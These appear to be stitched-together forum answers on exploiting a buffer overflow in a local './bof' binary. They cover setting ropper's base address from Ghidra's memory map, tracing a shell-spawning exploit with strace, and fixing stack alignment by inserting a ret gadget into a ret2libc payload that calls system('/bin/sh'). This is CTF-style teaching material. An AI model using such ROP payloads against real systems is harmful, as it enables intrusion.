ropper bases the binary at address 0. This can be changed using the -I flag. This value of the base can be picked up from Ghidra to reflect in ropper's output
In Ghidra go to Window > Memory Map.
In this case libc is loaded at base address 0x100000. From ropper
$ ropper -I 0x100000 --nocolor --file ./libc.so.6
Now the output can be directly used with G ...
If you change your process startup to
p = process(["strace", "-o", "strace.out", "./bof"])
and check the resulting strace.out file, you will see:
close(0) = 0
open("/dev/tty", O_RDWR|O_NOCTTY|O_TRUNC|O_APPEND|FASYNC) = 0
execve("/bin/sh", NULL, NULL) = 0
I think you might have an alignment problem. Find the address of a ret-only gadget and try putting it in your second payload as follows:
ret = p64(0x?????)
payload = junk + ret + pop_rdi + sh_addr + system_addr